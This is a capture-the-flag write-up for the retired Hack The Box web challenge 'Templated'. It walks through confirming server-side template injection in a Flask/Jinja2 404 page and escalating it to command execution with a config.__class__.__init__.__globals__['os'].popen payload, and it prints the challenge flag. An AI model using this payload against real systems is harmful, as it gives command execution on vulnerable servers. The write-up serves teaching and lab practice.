root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat templated.md
// writeups

Templated

23 Oct 2020 · 5 min read
Templated — HTB challenge
An "under construction" page served by Flask/Jinja2. The route name is reflected in the 404 error, enabling SSTI ({{7*7}}=49), RCE and flag disclosure.

Challenge overview

FieldValue
PlatformHack The Box · Challenge
CategoryWeb
DifficultyEasy
StateRetired

Attack map

[Web] Flask/Jinja2
      │
      ▼
[404] route reflected in error
      │
      ▼
[SSTI {{7*7}}=49] confirmed
      │
      ▼
[RCE] __globals__['os'].popen
      │
      ▼
[FLAG]

1. Recon

The page itself advertises powered by Flask/Jinja2 under an "under construction" banner. A Jinja2 stack that also reflects user content is an immediate SSTI candidate, so the goal is clear from the first glance: get RCE and read the flag stored on the filesystem.
Site Still Under Construction
powered by Flask/Jinja2

2. Find the reflection point

Requesting a non-existent route returns a 404 that includes the route name we asked for. That reflection is the vector: whatever we put in the URL isn't shown verbatim — it's processed and dropped into the error template.
curl http://TARGET/foo
The page '/foo' could not be found

3. Confirm the SSTI

In Jinja2, {{ }} evaluates Python expressions instead of printing them as plain text. If {{7*7}} comes back as 49 instead of the literal string "{{7*7}}", the server is interpreting our input as code, not data: SSTI confirmed.
http://TARGET/{{7*7}}
49

4. Anatomy of the RCE payload

Before firing it, it's worth understanding what each piece of the chain does — it isn't magic, it's walking Python's object graph from something available in the template all the way to a module we can use to run commands.
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

config — Flask's internal config object, already available inside the template context.

__class__.__init__.__globals__ — climbs from the instance to its class, into the constructor (__init__), and exposes that module's global namespace — where every module it imported, including os, lives.

['os'] — pulls the os module out of that globals dict.

popen('ls') — runs the given system command.

.read() — returns the command's output as a string, which Jinja2 drops straight into the HTTP response.

5. Run the payload and list the filesystem

With the chain understood, we actually fire it. First we list the filesystem root to confirm exactly where the flag lives before reading it.
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
bin  boot  dev  etc  flag.txt  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

6. Read the flag

The listing already gave us the filename (flag.txt) at the root. All that's left is swapping ls for cat flag.txt inside the same popen().
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}

Chain summary

PhaseComponentVulnerabilityImpact
Recon404 errorRoute name reflected in templateInjection point
PayloadPython object graphconfig.__class__.__init__.__globals__ exposes imported modulesos module reachable from the template
ExploitationJinja2 + os.popenSSTI → RCEflag.txt read

Lessons learned

  • Any user data reflected in a template is an SSTI candidate; never render it as part of the template.
  • The config.__class__.__init__.__globals__['os'] chain is the canonical SSTI-to-RCE jump in Flask/Jinja2.
  • That jump doesn't depend on a specific object — config was simply the first thing available in the template context; almost any other object would have worked just as well to reach __globals__.
  • Error messages that reflect input are gold mines — always inspect them.